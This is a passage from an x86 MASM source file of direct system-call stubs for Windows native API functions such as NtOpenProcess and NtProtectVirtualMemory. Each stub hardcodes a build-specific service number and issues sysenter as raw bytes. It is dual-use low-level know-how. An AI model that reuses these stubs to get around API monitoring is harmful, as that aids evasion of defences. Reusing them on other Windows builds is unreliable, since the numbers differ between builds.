NtQueryInformationWorkerFactory ENDP
; ULONG __stdcall NtQueryInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 180
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationTransactionManager ENDP
; ULONG __stdcall NtQueryInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 181
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationTransaction ENDP
; ULONG __stdcall NtQueryInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 182
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationToken ENDP
; ULONG __stdcall NtQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 183
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationThread ENDP
; ULONG __stdcall NtQueryInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 184
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationResourceManager ENDP
; ULONG __stdcall NtQueryInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 185
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationProcess ENDP
; ULONG __stdcall NtQueryInformationPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 186
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationPort ENDP
; ULONG __stdcall NtQueryInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 187
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationJobObject ENDP
; ULONG __stdcall NtQueryInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 188
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationFile ENDP
; ULONG __stdcall NtQueryInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 189
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationEnlistment ENDP
; ULONG __stdcall NtQueryInformationByName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationByName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 190
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationByName ENDP
; ULONG __stdcall NtQueryInformationAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 191
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationAtom ENDP
; ULONG __stdcall NtQueryFullAttributesFile( ULONG arg_01 , ULONG arg_02 );
NtQueryFullAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 192
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryFullAttributesFile ENDP
; ULONG __stdcall NtQueryEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 193
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryEvent ENDP
; ULONG __stdcall NtQueryEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtQueryEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 194
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryEaFile ENDP
; ULONG __stdcall NtQueryDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtQueryDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 195
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDriverEntryOrder ENDP
; ULONG __stdcall NtQueryDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtQueryDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 196
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDirectoryObject ENDP
; ULONG __stdcall NtQueryDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtQueryDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 197
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDirectoryFile ENDP
; ULONG __stdcall NtQueryDirectoryFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtQueryDirectoryFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 198
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDirectoryFileEx ENDP
; ULONG __stdcall NtQueryDefaultUILanguage( ULONG arg_01 );
NtQueryDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 199
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDefaultUILanguage ENDP
; ULONG __stdcall NtQueryDefaultLocale( ULONG arg_01 , ULONG arg_02 );
NtQueryDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 200
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDefaultLocale ENDP
; ULONG __stdcall NtQueryDebugFilterState( ULONG arg_01 , ULONG arg_02 );
NtQueryDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 201
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDebugFilterState ENDP
; ULONG __stdcall NtQueryBootOptions( ULONG arg_01 , ULONG arg_02 );
NtQueryBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 202
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryBootOptions ENDP
; ULONG __stdcall NtQueryBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtQueryBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 203
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryBootEntryOrder ENDP
; ULONG __stdcall NtQueryAttributesFile( ULONG arg_01 , ULONG arg_02 );
NtQueryAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 204
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryAttributesFile ENDP
; ULONG __stdcall NtPulseEvent( ULONG arg_01 , ULONG arg_02 );
NtPulseEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 205
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPulseEvent ENDP
; ULONG __stdcall NtProtectVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtProtectVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 206
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtProtectVirtualMemory ENDP
; ULONG __stdcall NtPropagationFailed( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPropagationFailed PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 207
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPropagationFailed ENDP
; ULONG __stdcall NtPropagationComplete( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtPropagationComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 208
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPropagationComplete ENDP
; ULONG __stdcall NtPrivilegeObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtPrivilegeObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 209
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegeObjectAuditAlarm ENDP
; ULONG __stdcall NtPrivilegedServiceAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtPrivilegedServiceAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 210
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegedServiceAuditAlarm ENDP
; ULONG __stdcall NtPrivilegeCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPrivilegeCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 211
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegeCheck ENDP
; ULONG __stdcall NtSetInformationVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetInformationVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 212
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationVirtualMemory ENDP
; ULONG __stdcall NtPrePrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
NtPrePrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 213
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrePrepareEnlistment ENDP
; ULONG __stdcall NtPrePrepareComplete( ULONG arg_01 , ULONG arg_02 );
NtPrePrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 214
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrePrepareComplete ENDP
; ULONG __stdcall NtPrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
NtPrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 215
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrepareEnlistment ENDP
; ULONG __stdcall NtPrepareComplete( ULONG arg_01 , ULONG arg_02 );
NtPrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 216
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrepareComplete ENDP
; ULONG __stdcall NtPowerInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtPowerInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 217
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPowerInformation ENDP
; ULONG __stdcall NtPlugPlayControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPlugPlayControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 218
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPlugPlayControl ENDP
; ULONG __stdcall NtOpenTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtOpenTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 219
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTransactionManager ENDP
; ULONG __stdcall NtOpenTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 220
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTransaction ENDP
; ULONG __stdcall NtOpenTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 221
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTimer ENDP
; ULONG __stdcall NtOpenThreadTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenThreadTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 222
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThreadTokenEx ENDP
; ULONG __stdcall NtOpenThreadToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenThreadToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 223
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThreadToken ENDP
; ULONG __stdcall NtOpenThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 224
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThread ENDP
; ULONG __stdcall NtOpenSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 225
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSymbolicLinkObject ENDP
; ULONG __stdcall NtOpenSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 226
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSession ENDP
; ULONG __stdcall NtOpenSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 227
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSemaphore ENDP
; ULONG __stdcall NtOpenSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 228
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSection ENDP
; ULONG __stdcall NtOpenResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 229
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenResourceManager ENDP
; ULONG __stdcall NtOpenPartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenPartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 230
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenPartition ENDP
; ULONG __stdcall NtOpenProcessTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenProcessTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 231
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcessTokenEx ENDP
; ULONG __stdcall NtOpenProcessToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenProcessToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 232
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcessToken ENDP
; ULONG __stdcall NtOpenProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 233
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcess ENDP
; ULONG __stdcall NtOpenPrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenPrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 234
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenPrivateNamespace ENDP
; ULONG __stdcall NtOpenObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
NtOpenObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 235
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenObjectAuditAlarm ENDP
; ULONG __stdcall NtOpenMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 236
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenMutant ENDP
; ULONG __stdcall NtOpenKeyTransactedEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenKeyTransactedEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 237
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyTransactedEx ENDP
; ULONG __stdcall NtOpenKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 238
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyTransacted ENDP
; ULONG __stdcall NtOpenKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 239
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyEx ENDP
; ULONG __stdcall NtOpenKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 240
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyedEvent ENDP
; ULONG __stdcall NtOpenKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 241
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKey ENDP
; ULONG __stdcall NtOpenJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 242
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenJobObject ENDP
; ULONG __stdcall NtOpenIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 243
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenIoCompletion ENDP
; ULONG __stdcall NtOpenFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtOpenFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 244
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenFile ENDP
; ULONG __stdcall NtOpenEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 245
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEventPair ENDP
; ULONG __stdcall NtOpenEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 246
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEvent ENDP
; ULONG __stdcall NtOpenEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 247
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEnlistment ENDP
; ULONG __stdcall NtOpenDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 248
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenDirectoryObject ENDP
; ULONG __stdcall NtNotifyChangeSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtNotifyChangeSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 249
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeSession ENDP
; ULONG __stdcall NtNotifyChangeMultipleKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
NtNotifyChangeMultipleKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 250
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeMultipleKeys ENDP
; ULONG __stdcall NtNotifyChangeKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtNotifyChangeKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 251
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeKey ENDP
; ULONG __stdcall NtNotifyChangeDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
